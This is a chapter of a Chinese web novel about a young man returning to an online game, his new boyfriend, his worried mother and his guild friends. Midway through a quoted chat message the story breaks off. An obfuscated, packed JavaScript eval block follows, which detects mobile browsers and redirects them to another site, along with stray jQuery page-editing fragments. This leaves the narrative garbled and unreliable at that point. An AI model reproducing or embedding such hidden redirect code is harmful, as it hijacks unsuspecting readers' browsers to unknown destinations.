64.Chapter·回归

作品:《离轨[网游]

    走上楼,时和冲进洗手间,一眼便看见镜子里微肿还破了皮的嘴唇。


    想到自己顶着这幅“春情荡漾”的模样在林朔野和沈停面前坐了十来分钟,时和差点没在镜子前窒息身亡。他伸手碰了碰唇角,指尖碰上去的瞬间立马想到了宴云川,吓得赶紧冲了几捧凉水。


    只是这几捧凉水威力不够猛。时和飘回房间的时候脑子是懵的。他跟失去导航的猫一样在房间里转来转去,一会收着桌面,一会又把叠好的被单铺开,最后绕了卧室三圈,勉强找回头绪。


    他把键盘极其小心地摆在书柜最显眼的地方,退两步看了眼,又觉得不对劲,左调右摆,调到能一眼看见“YAN”字,满意地拍了拍手。


    键盘在书柜的正中央,左边摆着幽篁手办,右边立着幻世录的流麻和徽章,像个标本展示柜。


    做好这一切,他下意识想拍给宴云川看,拿出手机才记起来手机摔坏这件事。


    窗外月朗星稀,飘窗上的书还摆着他离开前的模样,耳机半垂在窗沿。


    今晚的一切,好像爱丽丝误闯的一场梦。


    想到梦境,时和慌了神。他匆忙从抽屉里拿出平板。半个月没用的平板早已关机。


    等他花几分钟的时间充上电,才发现平板太久不开,后台自动退出了微信。


    可一个人真心想找另一个人的时候,办法是无限的。他只思考了不到半分钟就唤上了手机语音助手。不过手机里的语音智障经常出毛病,越是关键时刻越容易掉链子。


    他唤了好几次,不是给他播报天气预报,就是给他搜索网页叫“宴云川”的相关信息。


    试了几次,时和心态有点崩。


    许是今晚的见面太短暂,让他不太踏实。他把这样的“异常”归纳为凶兆的预示,一时更慌了。


    **


    濯清正敷上面膜,准备下楼拿个手机,开门就看见时和往书房钻。她喊道:“宝贝!”


    时和跟被电似的缩了一下。


    她走上前:“大晚上不洗澡,跑什么书房?”


    时和摸了摸鼻尖:“妈,我打个电话。”


    书房有一台座机,很久以前装的,号码都是七位数。濯清和时熵还没离婚那会,这台座机偶尔也能响两下。后来,两人离了婚,濯清又满世界的跑,座机响的时候家里都没人接,久而久之就荒废了,不过还能用。


    看时和这模样濯清就明白了。


    她问道:“给小川打?”


    时和点头,又怕濯清怀疑,解释说:“键盘,还没道谢。”


    濯清按着面膜摆手:“去吧。”


    等时和关门的空档,她又交代:“打十分钟记得洗澡!”门在合上的时候,里面的人应了应。


    走进书房,时和贴在门板上听了一会。听见濯清脚步下楼他才反锁上门,两下拨通宴云川号码。


    房间“嘟”地响了几声,紧接着一阵电流。电话那头传来熟悉的声音:“时和?”


    只是一个称呼,那颗悬着的心就落回了原地。


    时和坐在椅子上,手指像患了多动症一样,有一搭没一搭地推着匹诺曹,问道:“怎么知道是我?”嘴角翘得比窗外的月亮还弯。


    电话那头隐约听见风声,夹杂在小贩的叫卖中。宴云川在风里轻笑着说:“这是私人号码。”


    半个月前的那杯葡萄酒好像现在还在醉人。


    **


    没拨通电话前,时和感觉自己好像有很多话想说,现在听着声音了,他又不知道要说什么了。


    电话那头风声停了下来,变得格外安静。


    宴云川问:“这是家里座机?”


    时和“嗯”一声,又问:“还没到么?”


    宴云川说:“在附近,晚点进去。”


    电话又安静下来。安静没半分钟,宴云川突然提到键盘:“键盘喜欢吗?”


    时和脱口说:“喜欢。”


    宴云川:“那我呢?”


    时和:“喜——”


    “……”


    时和这一刻才清晰认知到,自己多了一个男朋友。而且,男朋友跟朋友很不一样。比如,作为朋友的宴云川不会问这句话。


    但他喜欢。


    他脸上的笑漾得更大了。听见宴云川重复了一遍,他才端着矜持和正经说:“喜欢。”


    话落,宴云川不正经地回:“嗯,我也喜欢。”


    桌上的匹诺曹还是没保住,倒在了月光下。弄出的声响让电话里的人跟着笑了一声。


    时和红着脖子扶起匹诺曹,就听见宴云川犹豫着问:“明天……上游戏么?”


    他迟疑片刻,点点头:“上的。”


    **


    说是上游戏,可真要登录账号,时和满脑子都是自己意气退帮和改名这事。


    他大概是染了什么失眠多梦的病,这一晚上,他的梦境十分丰富,跨度直接从三级片到悬疑片。一会是他跟宴云川在沙发上这样那样,一会又是单身和柚子拿着枪,把他拦在帮派驻地的外面让他滚蛋。但是因为吃了药,加上一晚情绪跨度太大,他在梦里一直醒不来,直到第二天八点。


    时和下楼的时候,秘书宁莉已经坐在沙发上跟濯清聊工作了。


    他走到楼梯间,听见宁莉对濯清说:“……周五飞弗洛伦萨的机票已经订好了。”


    濯清问:“都订了?”


    “嗯,”宁莉点头,“都订好了,2点48的飞机。我十点来接您和——”说到一半,她余光瞥见时和,连忙掐断了后面的话。


    时和被梦困扰了一晚上,精神不济,没听清最后这点断句。他跟濯清打了声招呼,又喊了声“宁莉姐”,这才看见桌上摆着的三台手机。


    他惶惑地看向濯清。


    濯清颇有点PTSD的意味,没好气说:“一台放那备着,出门带两台!省得你哪天又摔了磕了找不到人!号码过几天再给你办,你先连着热点。”


    宁莉在一旁笑了笑,笑得很公事公办。


    自知理亏,时和讪讪摸了摸耳垂,应了一声,抓上一台手机就往厨房躲。


    厨房的蒸锅正冒着热气,包子的香味隔着餐桌都能闻见。


    走进厨房,他又听见濯清说了句:“下午跟泽宸说一声,找人清扫房间……对了,再帮忙找个安静点的阿姨吧,要会做中餐。”


    宁莉记下:“好的,濯总。”


    两人又谈了会公事。等到宁莉离开,时和走到濯清身边坐下:“妈,您周五要走?”


    濯清揉了揉他头发:“嗯,顾叔那堆了一堆事儿,还约了两个合作方周六过来谈合同。总不能让你顾叔一个人去,不礼貌。”


    “佛罗伦萨那边的项目还要忙很久么?”


    “预计明年年初可以告一段。后面一些细节可以让那几个经理收尾,前期大方向得妈妈敲。”


    濯清倚在沙发上,时不时捻一下时和的发梢。日光下的濯清眼尾都透着柔意,耳廓后的白发一闪而过,又藏进了一缕黑发里。


    这半年,时和一直沉浸在自己的精神世界。他猛地意识到,濯清也不是无所不能的。


    她会老,也会累。


    想到这,他转过身,捏着濯清肩膀:“妈……您别太累了,钱是赚不完的。”


    濯清笑了笑:“哎呦,什么刺激到我们宝贝了?”


    时和很严肃:“您有白头发了。”


    对于自己有白发这件事,濯清倒是看得很开。她说道:“人到了年纪总会长几根白头发,这是自然代谢的规律。”


    “况且,妈妈累了,以后你才不会那么累。”


    三两句的功夫,时和便觉得昨晚那样让濯清担心实在不应该。他都问路了,再借个电话跟濯清交代一下应该也不是很难。可他没想那么多。


    愧疚感充斥在时和心里,以至于濯清让他登录手机ID,又让他开了定位,他也觉得理所应当。


    直到吃了早饭,时和想上楼玩游戏,濯清来了句:“又去书房做什么?不是给你手机了么?”


    时和没反应过来,回道:“打游戏。”


    上一秒还在“慈母手中线”的人,下一秒就皱着眉起身质问:“不是答应过妈妈不玩了吗?”母慈子孝的画面瞬间变成“叛逆”少年对书房的争夺。


    濯清从道德层面到健康层面,充分给时和分析了玩游戏的弊端:“你自己数数你玩游戏这两个月犯了几次病?不是心悸就是发烧!要是下次妈妈没那么及时赶回来怎么办?再说了!不从根源解决问题,难道每次都要等你不舒服才去止损吗?”


    时和下意识回:“发烧那是因为在江边吹风!”


    濯清立马问:“你去江边做什么?”


    时和愣了。


    总不能说他表白失败,去江边找情绪……先不说濯清听见表白这件事会不会气出高血压,光“找情绪”三个字,就能让濯清从白天数落到晚上。


    “我……”他张张嘴。


    这点迟疑在濯清眼里就是找借口失败。


    “这事儿没得商量!”濯清说。


    “妈!”时和跟上去,“三小时!”


    “三小时也不行!”


    “两小时!”


    “不行!不能玩就是不能玩!”


    像很多次拌嘴一样,拌到最后,时和便开始沉默,然后濯清就会强硬的拍板,再拿出“要听话”这套说辞。


    可今天时和在沉默之余问了句:“妈,您真的希望我好起来吗?”打断了濯清后面所有的步骤。


    两人一前一后站在楼梯间,时和站得高一些,以至于濯清晃了下神,好像时和一个没留神就长大了。明明半年前还躲在她身后寻求庇护的人,现在已经走到了她的前面。


    她低声寻着那点过去:“宝贝,我记得你以前不爱玩游戏,也不会对一样东西上瘾。”


    问题问出来,楼道那点空气好像被压缩了。


    时和很认真的在想他对游戏的态度,发现构不成“瘾性”,可一时半会又想不明白为什么要因为游戏跟濯清在这里争论。


    他像是给自己答案一样说:“妈,医生不是建议我多跟人多接触么?游戏人很多。”


    “您不是希望我好起来吗……”


    **


    因为这句话,濯清还是妥协了。只是三小时的时间压缩成了一个半小时,各退一步。


    时和坐在电脑前,莫名没了一开始想上游戏的那点兴奋。他脑海里不断浮现昨晚的梦,浮现单身的脸,浮现柚子,还有林朔野。


    如果一开始是想用游戏治病,它的使命已经完成了才对。他可以去网吧、可以出门、可以跟一些熟悉的人交流。还面对了纪帆。


    按照效益最大化,游戏已经失去了作用,这时候再玩游戏就是浪费时间,做无用功。


    可他还是想上去看看……


    好像……不完全是因为宴云川……


    时和勾着身子闷在桌上,试图通过缺氧让自己找找答案。直到桌上新手机叮一声,提示应用备份完成。


    手机是最新款,一些界面UI跟旧手机不一样,但功能大差不差。他配置好界面,第一时间登上微信。熟悉的地球在屏幕中央悬了一会,因为消息太多,进去的时候手机卡了几秒。


    宴云川依旧置顶,显示一小时前发了一条消息:[他们知道你要回来了。]


    至于这个“他们”是谁,时和从私聊列表就看出来了。


    私聊列表以柚子为队列,像是约定好了一样齐刷刷发着:[恭喜见爹回归!撒花.jpg]


    队列到了单身出现偏差。单身发的一把鼻涕一把泪的:[可算回来了!见儿啊!下回川老板惹你不开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034487|171156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心你就跟哥说!哥帮你仇杀他!杀不过哥带月下一起杀!答应哥,有气没气别往自己身上撒,啊。]


    再往下,是林朔野昨晚发的信息。


    林朔野平日里发消息向来以数量为胜,一句“去打本吗”都可以拆出十种不一样的语气词发十一遍,可他却发了一段没分节的大长篇。从最开始的送礼到前段时间的察觉,像是写时间线一样把他的心理活动和起因经过交代了个明明白白。


    时和目光落在重点一段话上:[我哥这两年一直把网吧当成了一个标本,用来纪念凌岳哥。别看他现在这模样潇潇洒洒的,可是好几次,我看见他站在网吧大门不动,像是不敢进去……我看着他一天一天把自己活成了“凌岳哥”,再这样下去,我怕“宴云川”这个人就不复存在了……]


    心脏突然像发病一样,一下一下的钝痛。


    他按着胸口,在聊天框打着:两年前——打出三个字,他又想到宴云川昨晚说的给他时间,于是又忙把这三个字删掉,继续往下。


    在这样的大长篇结束后,林朔野才分段发了一句结尾:[我们还能做朋友吗?我从很早就把你当成朋友了……包发誓的]


    时和手指落在屏幕上,无意往上滑了两页,莫名发现,他跟林朔野的聊天记录竟然两三页都划不完。短短两个月,比他跟大学舍友聊的还要多。


    他其实没有“被利用”的感觉。不管是当初送礼也好,或者后面的隐瞒也好。人和人产生交集之初一定是有目的的,或想从你身上得到什么,或想让你失去什么。可他一直是得到,没有失去。


    于是,他回了句:[一直都是。]


    [朋友。]


    没两分钟,宴云川打来了语音。


    宴云川:“换好手机了?”


    时和:“嗯。”


    宴云川笑了笑,毫不犹豫把弟弟出卖了:“听见什么声了么?”他问。


    时和仔细听了听。宴云川应该是在收银台,时不时有客人叫嚷两句。但客人叫嚷声音比较小,被一个听不出是人是猴的喊声盖过去了。


    “阿朔看见你消息了。”宴云川说,“他大概得兴奋好几天。这几天他会疯点儿。”


    时和摇着头:“没事。”


    许是在医院安静太久了,他突然觉得这样的“疯”挺好的,甚至有点怀念。


    “吃过早饭了吗?”宴云川问。


    “吃了,包子。”


    “你呢?”


    “也吃了。”


    宴云川刚说完,林朔野在旁边嚷着拆台:“哥!你不是要去打粥么?我现在饿了!”


    电话那头沉默了几秒。


    时和听见一声:“饿你一两顿醒脑。”


    他笑了一下,似乎没想到宴云川会骗人,又觉得这样的宴云川很新奇,也很有意思。


    最终,这顿粥还是给那个嚷着饿的人出去打了,就因为时和“时间不多”,嚷着饿的林朔野听见,二话不说,为了亲哥的幸福承担了跑腿任务。


    半个月不上游戏,系统自动判定时和为回归玩家,上线就弹出各种任务和充值礼包,美其名曰“回归福利”,金额从六元到抽奖不等,颇有一种“割了你这茬焉韭菜就准备跑路”的决然。


    时和关掉一堆系统弹窗和提醒。关到一半,看见月下的好友申请。申请通过后,又弹出一条单身发起的入帮邀请。


    他没点同意,也没点关闭。


    直到私聊框未读消息多了一条,他点进去,月下发了一个游戏红包。接着,单身那条入帮申请被月下新的邀请盖了下去。


    游戏红包没有退回功能,只能等24小时过期。


    月下说:[祝福红包。]


    又说:[半个月前想跟你解释,宴云川拦着。]


    [宴云川对外说你这段时间忙学业。]


    [我跟他都做过这种生气就删好友退帮A游的傻逼事,大家都是这么二过来的,不用有负罪感。]


    [于公,你综合能力很强,我想招揽你。于私,我一直拿宴云川当弟弟,我想替他招揽你。]


    [帮里的人跟我念叨你半个月了。]


    [他们也想招揽你。]


    [所以,回来吧。]


    时和回归游戏的消息是被帮派里一人一个大喇叭传的人尽皆知的。五颜六色的喇叭一遍一遍刷着“喜迎见爹回归”,单身柚子豪迈的发了三百套时装抽奖,撑足了场面。


    宴云川紧跟着发了五百二十套。


    不等时和从“520”这个数字中反应过来,世界频道已经跟队刷起了“喜迎见爹回归”。


    邮箱不断跳出帮派送的礼物,从衣服到稀有发色,系统不断跳着好友申请。帮派驻地依旧热闹,就像从没有离开过那样。


    也不知道是窗外日头反光还是太久不玩电脑不适应,时和总想眨眼。


    很奇怪,游戏明明是虚拟的,无论是眼前的驻地湖心还是被围在人群中央的幽篁,这些都是几串游戏代码。可他却觉得比大学更真实。


    大学跟舍友初见的记忆在脑海里已经模糊了,但第一次进入游戏、第一次遇见林朔野、第一次进队伍打蚌母的记忆仿佛昨天刚发生。


    以前他听过一个说法,说打游戏的人都是孤独的,因为现实孤独,所以在游戏里找了一个缺口。可一群孤独的人聚在一起,恰好共鸣。


    一场PK、一次副本、哪怕朱雀大街一次接踵摩肩,只要你回一次头,就会收获朋友。


    一个也好,一群也好,这样的羁绊不需要条件,因为爱好而已。


    他发现他是有点沉迷游戏,不过不是沉迷游戏本身,而是沉迷这个由真实的人组成的世界。


    然后,他听见宴云川说:“大家都很喜欢你,很早就喜欢了。我也是。”


    没过两天,大家的喜欢就“变了质”。